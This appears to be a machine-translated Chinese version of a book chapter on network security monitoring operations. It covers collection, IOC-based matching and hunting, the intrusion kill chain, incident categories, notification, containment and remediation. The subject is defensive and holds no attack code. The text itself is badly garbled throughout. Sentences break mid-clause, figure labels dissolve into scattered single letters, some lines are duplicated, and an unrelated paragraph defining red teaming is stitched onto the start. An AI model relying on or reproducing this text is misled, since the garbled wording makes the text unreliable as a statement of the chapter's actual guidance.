红队期刊 定义 红队行动 为“从对手或竞争者的角度看问题的实践” (http://redteamjournal.com/
关于/red-teaming-and-alternative-analysis/) 。在实际操作中,这意味着参与
一个或多个安全专家被聘请来对一个组织进行进攻性操作,以评估安全措施。对抗者模拟是一种红队 行动的形式,其中操作者试图模仿 一个选定威胁组的工具、技术和程序。 渗透测试 有时被用作红队 行动的同义词,尽管一些人认为渗透测试是红队用来实现整体目标的技术。
抵抗阶段
在抵抗阶段,IT 和安全团队过滤和保护。
自动化对策,如防火墙、杀毒软件、数据泄漏防护等,
检测、白名单和相关技术,旨在阻止入侵者
在他们能够未经授权访问网络之前的部分
阶段。
安全意识培训以及配置和漏洞修复
管理是其他旨在加强人类的对策
以及在抵抗阶段期间发生的技术环境。
不幸的是,决心强烈的入侵者最终会找到至少一种进入方式
一个网络,这使得企业安全的下两个阶段变得至关重要。
周期—检测与响应—是强制性的。
检测与响应阶段
检测与响应阶段包括 NSM 的三个元素:收集、
分析和升级。第四个元素,解决,是响应
阶段,但图 9-1 显示这一元素更靠近规划
企业安全周期的一个元素。
企业安全周期的检测与响应阶段是
在 NSM 的核心,他们是分析师执行收集、
分析,并升级以检测和响应入侵。因此,
它们值得拥有自己的图表,展示各个元素如何协同工作
一起。图 9-2 描述了这种关系,接下来的部分
解释这些元素的更多细节。
NSM 操作 187
检测
响应
收集
分析
升级
解决
主机数据
成分
C
A
A
通知
O
IOC 中心
成分
N
N
N
网络数据
响应
A
分析,或
A
S
L
L
T
Y
“匹配”
Y
新的 IOC
I
应用
额外的
S
S
创建
T
T
T
日志
响应
UE
C
C
新的
N
O
O
T
来自
收集
N
N
收集
S
S
P
第三方
改进
O
IOC 自由
O
要求
O
L
L
分析,或
R
E
E
T
来自
分析
(S)
“狩猎”
(S) 新分析
A
要求
L
成分
改进
事件观察/
识别
验证
文档
通知
确认
阻断
修复
存储
请求更多数据
图 9-2:NSM 流程
收集、分析、升级和解决
检测和响应阶段包括以下元素:
收集 收集我们需要的数据,以决定活动是否
正常、可疑或恶意。
分析 验证我们对活动性质的怀疑的过程
事件的过程。如图 9-2 所示,有两种类型的分析:其中之一
主要关注妥协指示器(IOC),以及
否则就是不行。(IOC 在“分析”部分讨论:第 193 页)
升级 通知利益相关者有关事件状态的行为
被入侵的资产。(我主张使用“利益相关者”这个术语,因为
它捕捉了 CIRT 服务对象在
CIRT 的操作,因为利益相关者拥有被监控的计算机
(由 CIRT 负责。)
解决 利益相关者或安全团队成员采取的行动,
以减少丢失风险的安全团队成员。
就像图 9-1 中的企业安全周期图一样,
图 9-2 中的工作流看起来有序且线性,但实际上通常不是这样
实际生活中的案例。事实上,检测和响应的所有阶段
可能同时发生。有时,多个事件同时发生;
其他时候,同一个事件会占据所有四个阶段。图 9-2
显示检测由收集和分析组成,响应
包括升级和解决。让我们仔细看看这些
元素。
188 第九章
收集
收集包括各种收集信息的过程,既有技术性-
技术性和非技术性:
技术过程涉及从端点或主机收集数据
(例如计算机、服务器、平板电脑、移动设备等),网络-
工作和日志(由应用程序、设备及相关源创建)。
非技术性收集过程包括记录来自
第三方(如合作伙伴、执法机关、情报
机构等)和利益相关者的“投票”主题。
技术来源
收集主机数据的一种方式是使用商业级企业解决方案
类似 Mandiant 智能响应(MIR,http://www.mandiant
.com/products/mandiant-platform/intelligent-response/)平台,通过软件对端点提出问题。MIR 使得 CIRT 能够扫查企业,寻找入侵的迹象
入侵者活动的阶段,然后对潜在受害者进行有针对性的分析
计算机。其他选择包括 F-Response 的商业版本
(http://www.f-response.com/),允许基本的远程访问硬盘和内存,以及 Windows Management 等原生 Windows 工具
工具命令行(WMIC)和 SysInternals PsExec.2
网络为中心的收集是本书的重点。网络访问
第二章中讨论的方法,以及所描述的平台
第二部分和第三部分介绍的工具结合提供了网络-
从原始数据中派生的分析结果。附加的解释层次将原始数据转化为
将网络信息转化为值得关注的指标。
应用日志是收集中的主要技术数据来源
阶段,并且生成日志的任何应用程序或设备都可以提供有价值的
可用信息。来自杀毒软件代理和 Apache 进程的输出
Web 服务器上的应用日志就是应用日志的例子。
日志收集至少需要以下内容:
• 一个日志源,用于创建应用程序数据
• 一个日志收集器,用于接收和存储数据
• 一个传输方法,用于将日志从源头传输到收集器
例如,ELSA 可能会从代理服务器收集日志,使用 Syslog
充当传输方法。
主机数据不同于应用日志,因为主机数据通常是通过
按需提供,而日志是由定期调度的过程创建的。使用
例如,MIR,你可以远程查询主机数据,比如 Windows 中的互斥锁
内存或 Windows 注册表中的工件。这个询问的概念
寻找特定的妥协指示符(IOC,见下文讨论)
“分析”o 第 193 页)是一种强大的以主机为中心的技术。
2. Mike Pilkington 在 SANS 法医博客上的帖子特别有帮助:http://
computer-forensics.sans.org/blog/author/mpilkington。
NSM 操作 189
非技术来源
非技术来源对于成功至关重要,
NSM 过程。例如,Mandiant M-Trends 2013 版
报告(http://www.mandiant.com/resources/m-trends/)指出,组织
组织接收到来自外部方的入侵警告,占三分之二的比例
时间;只有三分之一的时间他们能自己发现事件。
在使用内部来源识别事件时,来自用户的报告
常常至关重要。经过钓鱼活动意识培训的用户可以成为
企业防御的关键方面。报告钓鱼攻击失败的用户
尝试可能提供需要的警告和证据,以便在该
同样的攻击对另一个受害者成功。
你应该收集哪些数据?
本书建议收集几类以网络为中心的数据。这
NSM 数据包括完整内容、提取内容、会话数据、交易
数据、统计数据、元数据和警报数据。所有这些都必要吗?如何
如果 CIRT 决定收集哪些数据以提高其检测成功的概率,
并应对各种数字入侵者?
Eric M . Hutchins、Michael J . Cloppert 和 Rohan M . Amin 提出了一个模型
帮助回答这个问题的论文中,“基于情报的计算机网络防御”。
计算机网络防御通过对敌对行动分析得出的
入侵杀伤链”(http://papers.rohanamin.com/wp-content/uploads/papers
.rohanamin.com/2011/08/iciw2011.pdf。在这篇论文中(以及会议上的演讲中),他们概述了入侵者在实施某一套
战术、技术和程序(TTPs,这是一个借用自美国军方的术语)
用于描述入侵者活动)尽管作者开发了他们的模型,以
对抗高级持续性威胁(APT)的 TTP,
这种一般形式的分析可以适应
入侵杀链
适用于其他行动者和其他方法。(更多信息请参考
关于 APT 的信息,请参见 Mandiant 的报告:
侦察
http://www.mandiant.com/apt1/。)他们的模型
如图 9-3 所示,并在其中引用
武器化
他们的论文作为入侵杀链。
交付
这一系列步骤类似于
之前的研究中讨论过的内容,比如“阶段
利用
“攻陷的解剖”出自我的第一本书The Tao of
网络安全监控:超越入侵
安装
检测(Addison-Wesley,2004 年):(1)侦察-
命令与控制
侦察,(2)利用,(3)强化-
(4)整合,(5)掠夺。这个
基于意图的操作
《黑客攻击的解剖》来自于Hacking Exposed,
第四版(麦格劳-希尔奥斯本媒体,
图 9-3:入侵杀链
2003 年)类似:(1)足迹分析,(2)扫描,
链模型
190 第九章
(3)枚举,(4)获取访问权限,(5)提升权限,(6)盗窃,(7)掩盖痕迹,(8)创建后门。其他人有自己的版本
对手在入侵目标时所采取的步骤。
Hutchins、Cloppert 和 Amin 提出的这种方法的独特之处在于
它的特点是专注于将安全程序与入侵步骤对齐
杀链。他们展示了用于检测、拒绝、干扰、降级的示例技术,
并/或欺骗对手。NSM 很适合这种模型,因为它提供了一个
在入侵者完成任务之前,发现并响应入侵者的一种方法。
因此,入侵杀链为识别提供了一个强大的模型
我们需要收集的数据。
最强大的 NSM 操作将为每个
入侵杀链中的一步,数据源根据网络情况有所不同-
网络。图 9-4 显示了入侵杀链及其示例数据源,包括-
扫描主机、网络、应用程序和非技术性内容。
入侵杀链
检测方法
侦察
网站访问日志
武器化
提取内容
交付
用户报告
利用
端点评估
安装
端点评估
命令与控制
交易数据
基于意图的操作
内存分析
图 9-4:入侵杀链和可能的检测
来源与方法
要理解图 9-4,假设一个入侵者想要入侵
一个特定的公司,以窃取数据。他决定进行定向钓鱼攻击-
向目标发起攻击以获得初始访问权限。要识别公司中的用户,
他从公司网站下载所有包含电子邮件地址的文件
公司用户的电子邮件地址。入侵者设计了一封诱人的钓鱼邮件,
将利用代码插入到附件中,并将恶意信息传送给
公司的一组用户。一旦受害用户点击恶意附件,
这种恶意软件会利用用户文字处理应用程序中的漏洞,
在应用程序中,恶意软件建立了外向的命令与控制通道,
通道将会连接到由入侵者控制的站点。在这个阶段,入侵者已经准备好
开始寻找他想窃取的数据。
(续)
NSM 操作 191
图 9-4 展示了如何利用不同来源和方法进行数据收集。
检测入侵链的每个阶段。CIRT 可以分析访问
日志用于通过搜索引擎检测入侵者,查找电子邮件地址。
公司的网站。当钓鱼邮件通过公司网站时,
电子邮件服务器、自动处理软件可以提取恶意附件,
并分析其是否存在可疑特征。钓鱼邮件的一个或多个收件人可能会报告收到此邮件。
在被钓鱼的信息中,收件人可能报告说他们收到了该信息。
CIRT 可以使用端点评估工具查找相关的指示器,
攻击成功后,利用了一个易受攻击的文字处理应用程序漏洞,
漏洞的利用和随后的恶意软件安装。CIRT 可以观察
在其 SO 平台收集的事务数据中,发现命令与控制通道。
最后,为了查看入侵者执行的个别命令,CIRT 可能...
分析从一个或多个受害系统中捕获的内存。
这些示例检测来源和方法并非所有组织都可以使用,
组织。你可能需要更加依赖你现有的工具,
很可能在 NSM 旅程的开始阶段,许多 CIRT 将会看到存在差距。
在检测入侵链的各个阶段方面具有强大能力的智能 CIRT 将能够...
针对这些差距,CIRT 可以采取措施,结合技术与非技术手段来弥补。
方法,他们将构建反制措施以试图拒绝、干扰、削弱...
并/或欺骗对手。并非所有的措施都能对所有攻击方法有效,
但是在链条的“更高”阶段(即更早的阶段)进行防御或检测是有意义的。
给防御者提供最佳机会,以防止对手实现其目的。
完成其任务。
关键是收集需要多个组件来实现,
要有效,这些方法包括:
• 来自主机、网络和应用程序的数据构成了技术基础。
基础
• 一个过程来接收来自第三方和利益相关方的报告,
收集非技术数据
• 数据库、工单系统或其他平台用于管理此
信息
我们已经讨论了 SO 作为数据收集的一种技术工具,但它并非万能。
唯一可用的方法。你的组织可以通过电子邮件、帮助台人员,
以及相关流程来管理非技术性的收集工作。
一些组织在 NSM 过程中的收集阶段就结束了。他们...
将 NSM 收集工具和技术视为另一套系统
部署并丢弃。它们把收集当作最终目的,而不是
不要陷入这个陷阱!虽然使用完善工具的
网络很少出现时,采取下一步并处理数据。
进入分析阶段。
192 第九章
分析
分析是识别和验证正常、可疑和
恶意活动。IOC 加速了这个过程。正式而言,IOC 是敌方行为的表现—
观察到或可辨别的敌方行为的表现。非正式地,IOC 是
编码敌方活动的方式,以便技术系统能够找到入侵者
在数字证据中。例如,Mandiant APT1 报告( http://www
.mandiant.com/apt1/) 该报告于 2013 年 2 月发布,列出了超过 3,000 个 IOC(指标)。
包括 IP 地址、域名以及恶意工具的 MD5 哈希值
中国人民解放军 61398 部队。(Mandiant 识别出某些
威胁团体以 APT 为前缀,后跟一个数字,如 APT1,
APT2,等等。)
我将依赖 IOC 来寻找入侵者称为IOC 中心分析,或
匹配。分析人员将 IOC 与证据进行匹配,以识别可疑或恶意
可疑活动,然后验证他们的发现。
匹配并不是寻找入侵者的唯一方法。更先进的 NSM
操作还追求 无 IOC 分析,或 猎捕。
在 2000 年代中期,美国空军普及了猎杀者这一术语
数字世界中。安全专家对他们的网络进行了友军力量投射,检查数据并有时占领系统本身
为了发现高级威胁。今天,像 David Bianco 这样的 NSM 专业人员
(http://detect-respond.blogspot.com/) 和 Aaron Wade (http://forensicir.blogspot
.com/) 促进网络“猎捕之旅”,在这些旅程中,一位高级调查员
用一种新颖的方式来检测入侵者,指导初级分析师通过数据并
系统在寻找敌方的痕迹。在验证技术后(以及
响应任何敌方行动时,猎手们将新的检测方法纳入其中
方法进入 CIRT 的 IOC 中心操作。(第十章和第十一章对比
匹配和猎捕方法以展示其优势和
每个的弱点。)
入侵与事件
分析人员使用数据来识别并验证入侵。入侵是其中之一
一个事件的例子。其他事件的例子包括因断开网络电缆而导致的中断
由 DDoS 攻击引起的,移动设备的丢失或盗窃,以及丢失的连接
连接性丧失。但究竟什么是入侵,以及
什么是事件?
入侵是政策违反或计算机安全事件。在他们的
书籍《事件响应与计算机取证(第二版)》(McGraw-Hill
Osborne Media, 2003 年),Kevin Mandia 和 Chris Prosise 定义了一个 事件
被定义为“任何非法、未经授权或不可接受的行为,涉及到
计算机系统或计算机网络。”这些定义留下了大量空间
操作空间,组织应该决定这些
这些术语对你意味着什么。你的目标应该是采纳一致的内部
定义。例如,图 9-5 展示了一种分类方法
(http://taosecurity.blogspot.com/2009/06/information-security-incident.html 和 http://taosecurity.blogspot.com/2009/06/extending-information-security-incident
.html) 构建在一部分入侵类别或 cat 级别的基础上,这些是由美国国防部推广的。
NSM 操作 193
名称
描述
Cat 6
入侵者对具有访问敏感数据的资产进行了侦察。
Cat 3
入侵者尝试利用具有访问敏感数据的资产,但失败。
Cat 2
入侵者突破资产防护,访问敏感数据,但未获得数据。
拥有 root 或管理员级别的访问权限。
Cat 1
入侵者突破资产防护,轻松访问敏感数据。
破坏 3 入侵者从已获得访问权限的资产建立指挥控制通道
对敏感数据进行访问。
破坏 2 入侵者窃取了非敏感数据或有助于访问敏感数据的数据。
破坏 1 入侵者窃取了敏感数据或因数据量等原因被怀疑窃取了敏感数据。
危机 3 入侵者通过在线或主流媒体公开盗取的数据。
危机 2 数据丢失导致政府或监管机构调查,并可能处以罚款或其他法律后果。
危机 1 数据丢失导致身体伤害或生命丧失。
图 9-5:建议的入侵类别
这些类别旨在帮助分析员理解外部因素
入侵的来临和性质。例如,假设分析员判断
入侵者通过执行未经授权的代码来突破计算机安全。
代码,可能是通过诱使用户打开一个恶意附件
利用一个存在漏洞的 Java 安装。但如果分析员进一步
分析员判断出外发的指挥控制通道被拒绝
如果通过企业代理,入侵被分类为 Cat 1。因为该
入侵者无法建立他的指挥控制通道,事件为
事件未达到破坏 3。
另一个例子,假设分析员发现入侵者已经
通过执行未经授权的代码突破计算机安全。在
在这种情况下,入侵者还窃取了非敏感数据,如用户的购物清单。如果 CIRT 迅速采取行动,能够控制受害者的损失。
在入侵者窃取敏感数据之前,或从初始受害者转移目标时
到另一个受害者的系统。如果 CIRT 成功,事件将被归类为破坏 2。
如果 CIRT 失败,且入侵者窃取了敏感数据,则事件为
破坏 1。如果入侵者选择在线发布被盗数据,则事件为
事件是危机 3。
194 第九章
事件分类
CIRT 可能会在其分析控制台中或通过事件跟踪系统对事件进行分类。例如,开源的 Sguil 和 Snorby 控制台
跟踪系统。例如,开源的 Sguil 和 Snorby 控制台
(在第八章讨论)通过功能键支持事件分类。
其他选项包括在安全信息和事件中标记结果
管理(SIEM)或日志管理平台。
分类应包括做出决定的分析师的用户 ID。
分类的会话,分类时间,分类本身以及一个可选的
评论字段。支持将事件转发给更高级别的
分析师的帮助非常重要。协作和社交讨论事件数据有助于
(如标记、聊天室和论坛)有助于提高决策—
制定过程。
分析过程的底线是,分析师必须统计和
分类所有影响其组成部分的事件。统计和分类
事件生成了 CIRT 必须收集的两个关键指标之一。(
第二个关键指标是从事件检测到遏制所经过的时间。
作为“解决方案”中讨论的第 198 页)的定义不需要符合任何国际标准,但它们必须是内部一致的。
一致的术语。
也就是说,如果 CIRT 希望为事件报告系统贡献数据,
项目对外部事件定义与其外部
无论是内部还是外部报告,CIRT 应该能够
按单位时间内的事件类型和数量定期生成报告。
例如按季度或每年一次。组织如何处理这些
分析过程的输出是下一个部分的主题。
升级
升级是 CIRT 用来记录其发现过程的过程,
通知其组成部分,并收到组成部分的确认
事件报告的系统。升级可能看起来像是事后的考虑,未充分
事件的细节,然而在大型和/或分布式环境中,升级—
升级是 NSM 过程最困难的方面之一。
事件文档
文档记录了事件的过程,以及 CIRT 为
处理该事件。重要的是为每个事件分配一个唯一的事件编号。
受害计算机。(将被利用的应用程序视为计算机,以
本练习的目的。)不要为多个受害计算机分配
一个事件编号,除非你使用不同的术语来表示一个被妥协的计算机—
被妥协的计算机。例如,一些 CIRT 将单一的受害者称为妥协,
将一个或多个被妥协的计算机称为事件。关键在于使用一个
适用于单一受害计算机的细化术语;如果没有这样的细节,
如果不做这些,就无法收集和衡量事件响应指标。
NSM 操作195
组织将选择将不同层次的细节纳入其事件报告。例如,处理数百或数千个事件的 CIRT
每年的事件数量将很可能捕获受害系统的基本细节,
而处理较少事件的工作人员可能会更详细地记录。
如果可能,考虑使用社区标准来记录事件
像“事件记录和事件共享词汇”这样的标准
(VERIS)。VERIS 提供了描述安全事件的通用语言。
一致地记录安全事件。你会找到如何记录安全事件的例子。
各种类型可以在 VERIS 项目网站上找到(http://veriscommunity.net/)。
事件通知
通知是升级流程中的下一步。它要求你
确定受损资产,找到负责的人员或团队,
受害者,并将事件报告交给受影响的方。该过程
听起来简单,但在处理
在大规模或分布式网络中,由于清单管理普遍较差,
许多组织面临的管理和网络可见性问题。
什么是可防御的网络架构?
确定受损资产,找到负责的所有者,并交付
事件报告是安全领域最具挑战性的工作之一,但它们并非唯一的挑战。我开发了一种可防御的网络架构,以解释那些网络提供最大整体安全性的组织的特点(http://)。
taosecurity.blogspot.com/2008/01/defensible-network-architecture-20.html)这个清单从安全团队应该首先采取的特性开始,随着清单的推进,元素变得越来越难以实现。
监控的 CIRT 可以查看所有主机、网络和应用层面的资产。
日志级别。
列出的 CIRT 可以访问识别资产位置、用途和
数据分类、重要性、所有者和联系方式。
控制了安全团队在主机、网络和
应用级别应允许授权活动并拒绝其他所有活动。
声明资产所有者在清单中列出,负责系统的积极控制。
最小化了资产提供执行所需的最小表面面积。
他们的业务功能;不必要的服务、协议和软件被禁用。
评估的 CIRT 定期评估资产配置,以防范安全风险。
他们的安全姿态。
当前,IT 团队保持资产的补丁状态和配置是最新的。
使用最新的标准。
测量了 IT 团队和 CIRT 根据之前的进度进行评估。
步骤。
采用可防御的网络架构的组织处于最佳位置,
提到的目标是抵抗妥协,并在入侵发生时有效响应。
196 第九章
如果 CIRT 无法映射 IP 地址或
主机名指向真实计算机,确定其所有者,并联系所有者。
如果这些步骤中的任何一步失败,事件将无法报告,网络
风险。
通知也取决于特定事件所带来的风险。
例如,关于 Cat 2 事件(未经授权的用户访问)的通讯,
级别访问)可能不应具有与通讯紧急性相关的要求。
关于 Breach 2 事件(入侵者窃取了敏感数据)的通讯,
无论如何,所有报告都应符合标准事件
CIRT 使用的事件管理平台,但 CIRT 和相关方
应根据事件的严重性同意不同的预期响应时间。
事件。如果事件紧急,使用电话或即时消息;
时间是关键因素之一。确保每个人都理解
如何沟通事件并实践通知过程,
定期进行通知。同时,制定备份通知计划,以防万一
主要联系人没有回应。
确认事件报告是升级过程中的最后一步,
阶段,但这一步骤可能是一个挑战,因为一些相关方
不关心他们的计算机是否被入侵(或者他们只是
被其他工作压得喘不过气)。有些人根本没有 IT 或安全能力,
无论如何,可能完全依赖 CIRT 执行接下来的步骤。无论
在这种情况下,跟踪确认时间和方法,在任何系统中
你用来管理事件报告的工具有助于提高整体安全性
过程。
事件沟通考虑事项
被持续威胁攻陷的组织应假设
对手已经访问了他们的电子邮件。阅读 CIRT 和安全团队的消息
消息是攻击者的最爱活动。不幸的是,电子邮件往往是最
企业通信中的常见元素。大型,
分布式组织可能使用不同的聊天应用程序、协作
通信平台或其他形式的通信,但几乎每个人都有
一个他们密切关注的电子邮件地址。确保加密敏感
CIRT 和相关方之间具有启发性的电子邮件对话并交换真正敏感的
通过电话获取信息。如果你怀疑攻击者已渗透
你的语音 over IP 协议(VoIP)网络,使用手机。相同
适用于企业托管的实时聊天系统和其他协作平台。
平台。
许多被攻陷的组织选择通过电子邮件进行沟通
使用像 Gmail 这样的服务,或其他供应商,以避免他们的
被攻陷的系统。需要在检测到之前对这些响应活动进行压力测试。
一起对待一个严重事件。
现在 CIRT 和相关方正在就一个事件进行沟通,
事件发生后,最后阶段是采取措施减少损失风险。
NSM 操作 197
解决方案
解决方案指的是 CIRT 和相关方用来将系统从
从风险状态到可信状态的系统恢复。实际的
过渡过程有很多种形式,取决于事件的性质,
事件及 CIRT 和相关方的能力和风险承受能力,
事件。每一方必须平衡数据丢失、篡改或拒绝服务的风险,
服务中断对被攻陷资产的业务需求。
CIRT 通常希望将被攻陷的计算机从网络中断开
尽可能迅速地恢复,而业务负责人则希望它无论如何都能在线
无论成本如何。
解决事件时,可以考虑制定风险缓解指南。
当任何资产被破坏时,相关人员必须采取至少一个措施,
确保减少数据丢失、篡改或拒绝服务的风险,具体取决于
根据事件的性质,采取行动不是一种选择。容忍
网络上的入侵者最好的做法是,最糟糕的情况是邀请
诉讼或其他处罚的风险。
遏制技术
CIRT 和相关方应制定可能的风险缓解层级
缓解策略。这些响应选项专注于遏制入侵者
并限制他们与受害计算机的互动自由,或从
将受害计算机转移到另一个受害者计算机上。
遏制入侵者时,从受害计算机开始,并
可以考虑以下几种可能性:
• 将计算机置于休眠模式。(不要关闭它;你会失去
在内存中存储宝贵的易变数据。)
• 关闭计算机用于访问网络的端口。
• 实施本地防火墙规则或内核级过滤器,禁止计算机
给计算机提供与其他计算机通信的能力。
• 实施访问控制列表条目,防止计算机
与其他计算机通信。
• 实施路由更改,防止计算机与其他计算机
与其他计算机进行通信。
• 实施防火墙或代理阻止,禁止计算机访问
互联网,这将切断远程命令与控制通道。
更先进的 CIRT 将拥有其他手段,例如
将入侵者转移到一个模拟计算机的蜜罐网络中,以供
在一个“安全”的环境中进行研究。(蜜罐网络是由计算机组成的一个集合,
由 CIRT 部署,用于引诱、陷阱和观察入侵者。)无论具体
行动选择,关键是确保 CIRT 和相关方
有限地采取措施以减少丢失风险。
198 第九章
遏制速度
CIRT 和相关方采取遏制行动的速度是
这是安全界的热门争议话题。有些人主张快速遏制,
限制风险的措施;其他人主张较慢的遏制,提供
更多时间去了解对手。最佳答案是遏制事件,
尽可能快速地处理事件,只要 CIRT 能将事件范围限定在
以最佳能力执行其任务。
限定事件范围意味着了解入侵者的渗透范围。他是仅限于
是否仅限于与目前识别的唯一计算机互动?他
通过利用漏洞控制更多的计算机,甚至整个网络。
是否破坏了 Active Directory 域控制器?
CIRT 做出遏制决策的速度是一个
这是衡量其成熟度的主要方式之一。如果 CIRT 定期了解
通过外部通知,识别先进(或甚至常规)威胁的存在
若 CIRT 与相关方在决策时花费更多时间,转而采取快速遏制将不太有效。
无法在自身环境中发现入侵的 CIRT,可能也无法
快速界定事件范围。“切断”首个识别的受害者将
可能会留下数十、数百或数千个其他受害者仍在线并处于危险中。
可供对手使用。
另一方面,如果 CIRT 开发自己的威胁情报,
维持广泛的可视性,并快速自主发现入侵者的 CIRT
更有可能在最短时间内对事件进行范围界定。
拥有此类能力的 CIRTs 应建立入侵者的渗透范围
尽可能迅速地响应,然后同样迅速地控制受害者,以限制
对手的选项。
决定采取何种封锁行动可能会很棘手。一个方法是
决定采取基于威胁或基于资产的应对策略
防御信息资源。
基于威胁的策略关注假定的对手特征
必要时,成熟的 CIRT 可能会追踪多个不同的威胁群体,并进行
识别出更为复杂或具有破坏性的威胁时,会影响某个
或多台计算机。当 CIRT 检测到一个威胁组织在
一旦发现威胁,CIRT 可能会迅速采取行动以控制对手。
如果 CIRT 注意到一个涉及犯罪分子的常规事件,
CIRT 可能会采取更为从容的应对方式。
基于资产的策略关注假定的受害者特征
计算机。与成熟的 IT 和业务组织合作的 CIRT
将理解其网络中数据的敏感性及其相关方的角色
处理这些数据的系统。当 CIRT 检测到影响
如果是一个对业务至关重要的资产,CIRT 会迅速采取行动。如果 CIRT 注意到
影响较不重要资产(例如员工笔记本电脑)的活动时,CIRT
CIRT 反应不那么迅速。一些 CIRTs 采取混合方法,权衡
威胁行为者与受影响资产的相对关系。
CIRTs 应在操作手册中记录其流程,概述
CIRTs 和相关方需要履行的责任和采取的行动。CIRTs
还应根据入侵活动的性质以不同的方式跟踪入侵者的活动。
威胁时。例如,成熟的 CIRTs 会针对 APT 和激进的
NSM 操作 199
如何跟踪波次和活动
尽管 CIRTs 应为事件分配某种形式的编号(例如
201305180006(2013 年 5 月 18 日的第六个事件)更易于记忆,我建议
CIRTs 为波次活动制定名称。名称比
编号,使用它们可以帮助 CIRTs 更容易地讨论重要活动
与相关方合作。一些 CIRTs 使用国家气象局分配的名称
美国国家飓风中心服务(http://www.nhc.noaa.gov/aboutnames
.shtml)用于一整年的波次名称。例如,2013 年的第一波
由 CIRT 发起的应对高级威胁活动的事件将被命名为 Wave
Andrea,第二个将命名为 Wave Barry,依此类推。
在入侵的高压情况下,CIRT 缺乏
能够完全识别对手活动的能力。分配一个
将活动与敌人行为的热战进行对比。相反,根据
有关 CIRT 如何响应的外部信息。在持续的数字混战中,
通过响应活动,CIRT 的情报小组可以进行分析,确定
确定观察到的敌人行为如何融入整体局势。
成熟的 CIRT 跟踪多个威胁团体,如国家级、犯罪集团、
和黑客活动者。CIRT 情报小组会将对手的活动分配到
将这些威胁团体与 CIRT 的波动响应配对
问题。例如,情报小组可能会意识到“波动 Andrea”
是 CIRT 对 APT12 的响应,而“波动 Barry”是 CIRT 对
针对 APT1 的响应。
犯罪团体经常用“敌人活动”来讨论。一次活动
是敌人进行的一项长期操作,通常是为了窃取信息,
信息。一次单独的入侵可能只是对手攻击的一个环节。
活动。
CIRT 对抗持久敌人时,通常会组织其响应行动
如同波动一样。一波并不完全等同于一次活动。相比之下,一个
活动指的是入侵者对目标进行长期攻击的整体。
一个目标,一波指的是 CIRT 检测并响应对手活动的努力。
敌人。换句话说,入侵者进行活动,CIRT 进行防御。
按波次进行。CIRT 永远无法完全洞察敌人的活动。
因此,跟踪你认为敌人在做什么(例如,一次活动)
活动),以及 CIRT 正在做什么(例如,一波行动)。
成熟的 CIRT 认识到需要应对一次严重的
事件采取的步骤。
1. 选择一个波动名称,并宣布波动开始。
2. 创建一个电话桥接和密码保护的实时聊天室
讨论反制敌人的活动。
3. 向受影响的相关方发送紧急通知,告知他们
CIRT 已经启动一波行动,并且如何与 CIRT 沟通
通过电话和聊天室进行交流。
200 第九章
4. 根据需要收集并分析其他证据,以界定事件的范围。
5. 通过实时和数字方式,迅速向相关方报告事件
方式,识别受害系统和数据。
6. 与相关方协调遏制措施,以限制风险
数据丢失、篡改或服务中断的风险。
7. 一旦所有受害者的遏制措施到位,宣布一波行动结束。
8. 在整个波动期间,定期与相关方沟通
以便让相关方保持知情,并减少紧张情绪。
对于不太严重的事件,CIRT 不需要采取如此复杂的
沟通方法。CIRT 会集中精力记录
高效处理事件,并在事件发生后的
预期的服务时间窗口。对于这两类事件,CIRT 应该衡量——
确保关键步骤的时间。例如——
图 9-2 底部的文字(展示了——
NSM 过程)展示了在事件检测和响应过程中的关键点。
子流程应该记录时间。图 9-6 重现了那些——
关键时刻。
请求更多数据
事件已观察/存储
识别
验证
文档
通知
确认
隔离
修复
图 9-6:应该记录时间的事件
到目前为止,我们主要关注的是隔离,或旨在——
以限制风险,但单靠隔离仍然会让受害计算机处于威胁中——
承诺。一旦攻击被隔离,就该进入 修复 阶段,或者——
恢复受损资产到一个可信状态。
修复
修复是安全行业的另一个热点话题。一些人认为——
系统可以“清理”以去除入侵者的工具、持久性机制——
和访问方法。另一些人认为,受害计算机应该重建——
从安装介质或可信备份恢复。一些甚至表示已被攻陷——
系统应该重新闪存或放弃,因为高级入侵者可以——
在硬件中植入持久性机制!
你应该重建任何已知有敌方接入的系统
与之互动,但仅在完全了解事件范围后才进行。这里的 互动 意味着——
如果有法医原因可以假设敌方已经获取并利用了——
未经授权访问受害者。这并不意味着入侵者 可能——
接触了受害者,但并没有。实际上,这件事的真相是它是虚拟的——
对任何系统中的入侵者的行为,CIRT 通常不可能完全知晓。
NSM 操作 201
受害者的风险容忍度。通常,一个 CIRT 看到的只是所谓的“冰山一角”。毕竟,为什么要在尝试“清理”受害者时危及修复计划,结果却——
学习到消毒未能去除持久性机制?
你应该多快进行修复?一些 CIRT 努力将——
从 检测到隔离 一小时内完成。其他人则更激进(也更有野心),努力将 敌方访问到修复 的时间限制在一小时以内。选择取决于你——
组织和 CIRT、IT 团队以及各方的能力。
一旦你开始追踪从检测到隔离的时间,你可能会发现——
隔离通常需要数周,而不是一个小时。记录这些指标并尽量——
随着你继续开发你的过程和战术,尽量减少时间。
使用 NSM 改进安全性
此时,我们有了一个框架来思考 CIRT 和安全改进——
我们来看一些实际操作中的例子。
• 一个供应商提出增加探针来收集和解释 NetFlow
来自边界路由器的记录(某种类型的会话数据)。此活动——
属于 NSM 过程中的收集阶段。因为 CIRT——
CIRT 已经通过 Argus 和 Bro 在 SO 传感器上收集会话数据,
监控网关时,额外的采集可能不是必需的。CIRT
CIRT 拒绝购买 NetFlow 处理设备的提议。
• Mandiant 发布了关于 APT1 的报告(http://www.mandiant.com/apt1/)。
该档案包含超过 3000 个指标。CIRT 意识到它
可以使用这些指标进行 IOC 中心的匹配活动,这是 NSM
在 NSM 过程的分析阶段。Mandiant 还发布了超过 100 页
描述 APT1 行为者使用的工具。CIRT 利用这些信息
用于无 IOC 猎杀分析。
• 在特定情况下,从事件检测到遏制所用的时间
公司每次响应的时间大约是几周,CIO 希望缩短
将此时间缩短至一个小时内。一个厂商提议使用新的资产管理
系统。多个业务线表达了对新工具的热情
并成立工作组以更好地管理资产清单。CIRT
支持这个新系统,因为它将减少所需的时间
识别资产所有者,并将提高事件通知的准确性,
在 NSM 过程的升级阶段发生的情况。
• 网络团队决定尝试实施一个网络访问
控制(NAC)解决方案。IT 团队成员抵制这个计划
因为他们担心会妨碍用户生产力,但 CIRT 认为
这解决方案可能在 NSM 的解决阶段有所帮助。
NSM 过程。CIRT 说服 IT 团队支持 NAC
解决方案。
202 第九章
这些示例展示了如何在 NSM 过程中进行工作
可以帮助 CIRT 在操作中做出更好的决策。相较于
相较于被最新的安全潮流或厂商工具引导,CIRT 可以识别
改进 NSM 过程中的所有阶段。通过解决
现有的差距,CIRT 可以减少检测和响应时间并提供帮助
识别导致系统被攻破的问题。
